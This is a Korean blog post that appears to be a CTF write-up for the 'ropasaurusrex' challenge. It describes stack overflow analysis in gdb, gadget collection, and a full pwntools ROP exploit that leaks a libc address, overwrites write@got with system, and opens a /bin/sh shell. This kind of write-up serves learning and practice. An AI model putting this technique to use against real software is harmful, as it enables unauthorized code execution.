ropasaurusrex

문제 바이너리 첨부


이 문제는 32bit elf다.


보호기법을 살펴보았다.

ASLR이 걸려있고 NX가 걸려있다.


우선 이 바이너리를 실행하면 아래와 같다.

단순히 입력하나 받고 WIN이라는 문자열을 출력하고 종료된다.

아마 입력하는 부분에서 오버플로가 일어날 것이다.


우선 gdb로 열어보았다.

근데 디버깅 심볼을 찾을 수 없어서 main함수가 열리지 않았다.

그래서 info func로 함수를 찾았다.


write와 read함수가 있다.

rop를 하면 될 것 같다.


write()함수와 read()함수에 bp를 걸고 트레이싱을 했다.


구조를 보니 먼저 read()함수를 실행하고 나중에 write()함수를 실행한다.

write@got를 rop를 통해 overwrite 해주면 될 것이다.

read()함수에 대해 입력 값으로 A 8개를 주었다.



그리고 read()함수를 빠져 나온 후 바로 leave 과정에서 bp를 걸고 멈추었다.

ret까지 0x8c차이가 난다. 즉 140바이트를 오버플로우 해주면 sfp까지 덮힌다는 것이다.

이제 가젯을 모으자.


read@plt, 

read@got, 

write@plt, 

write@got, 

bss주소, 

system의 offset, 

pop pop pop ret 가젯, 

pop ret 가젯

을 찾았다.


bss 영역의 주소는 objdump, readelf를 사용하지 않고 peda의 elfheader명령을 통해 찾았고,

pop pop 가젯은 이번엔 rp++로 찾지 않고 peda의 내장 명령어인 ropgadget으로 찾았다.


exploit code

from pwn import *

p = process('./ropasaurusrex')

read_plt = 0x0804832c
read_got = 0x804961c
write_plt = 0x0804830c
write_got = 0x8049614
bss = 0x8049628
system_offset = 0x9ad60 
pppr = 0x80484b6
pr = 0x80483c3
binsh = "/bin/sh\x00"

payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)

log.info("Exploit..")
p.sendline(payload)

read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))

p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()


'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

+ Recent posts